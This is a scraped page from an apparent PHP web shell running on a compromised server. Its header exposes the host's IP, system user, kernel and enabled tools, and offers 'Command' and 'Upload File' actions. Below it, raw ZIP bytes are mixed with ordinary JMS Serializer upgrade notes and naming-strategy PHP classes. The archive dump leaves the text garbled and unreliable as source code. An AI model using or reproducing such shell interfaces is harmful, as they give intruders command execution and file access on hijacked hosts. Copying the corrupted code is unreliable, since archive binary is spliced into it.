Server IP : 213.176.29.180 / Your IP : 3.137.186.26 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 8.3.14 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/webtaragh/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
PK {�$Z-ˮ�� � serializer/UPGRADING.mdnu �[��� From 0.13 to ??? ================ - If you have implemented your own ObjectConstructor, you need to add the DeserializationContext as an additional parameter for the ``construct`` method. From 0.11 to 0.12 ================= - GraphNavigator::detachObject has been removed, you can directly use Context::stopVisiting instead. - VisitorInterface::getNavigator was deprecated, instead use Context::accept - Serializer::setGroups, Serializer::setExclusionStrategy and Serializer::setVersion were removed, these settings must now be passed as part of a new Context object. Before: $serializer->setVersion(1); $serializer->serialize($data, 'json'); After: $serializer->serialize($data, 'json', SerializationContext::create()->setVersion(1)); - All visit??? methods of the VisitorInterface, now require a third argument, the Context; the context is for example passed as an additional argument to handlers, exclusion strategies, and also available in event listeners. PK {�$Z�s H serializer/src/JMS/Serializer/Naming/IdenticalPropertyNamingStrategy.phpnu �[��� <?php namespace JMS\Serializer\Naming; use JMS\Serializer\Metadata\PropertyMetadata; class IdenticalPropertyNamingStrategy implements PropertyNamingStrategyInterface { public function translateName(PropertyMetadata $property) { return $property->name; } } PK {�$Z��E3 3 H serializer/src/JMS/Serializer/Naming/PropertyNamingStrategyInterface.phpnu �[��� <?php namespace JMS\Serializer\Naming; use JMS\Serializer\Metadata\PropertyMetadata; /** * Interface for property naming strategies. * * Implementations translate the property name to a serialized name that is * displayed. * * @author Johannes M. Schmitt <schmittjoh@gmail.com> */ interface PropertyNamingStrategyInterface { /** * Translates the name of the property to the serialized version. * * @param PropertyMetadata $property * * @return string */ public function translateName(PropertyMetadata $property); } PK {�$Z�� � I serializer/src/JMS/Serializer/Naming/SerializedNameAnnotationStrategy.phpnu �[��� <?php namespace JMS\Serializer\Naming; use JMS\Serializer\Metadata\PropertyMetadata; /** * Naming strategy which uses an annotation to translate the property name. * * @author Johannes M. Schmitt <schmittjoh@gmail.com> */ class SerializedNameAnnotationStrategy implements PropertyNamingStrategyInterface { private $delegate; public function __construct(PropertyNamingStrategyInterface $namingStrategy) { $this->delegate = $namingStrategy; } /** * {@inheritDoc} */ public function translateName(PropertyMetadata $property) { if (null !== $name = $property->serializedName) { return $name; } return $this->delegate->translateName($property); } } PK {�$Z�'K�4 4 @ serializer/src/JMS/Serializer/Naming/CamelCaseNamingStrategy.phpnu �[��� <?php namespace JMS\Serializer\Naming; use JMS\Serializer\Metadata\PropertyMetadata; /** * Generic naming strategy which translates a camel-cased property name. * * @author Johannes M. Schmitt <schmittjoh@gmail.com> */ class CamelCaseNamingStrategy implements PropertyNamingStrategyInterface { private $separator; private $lowerCase; public function __construct($separator = '_', $lowerCase = true) { $this->separator = $separator; $this->lowerCase = $lowerCase; } /** * {@inheritDoc} */ public function translateName(PropertyMetadata $property) { $name = preg_replace('/[A-Z]/', $this->separator . '\\0', $property->name); if ($this->lowerCase) { return strtolower($name); } return ucfirst($name); } } PK {�$Zڽ5} } <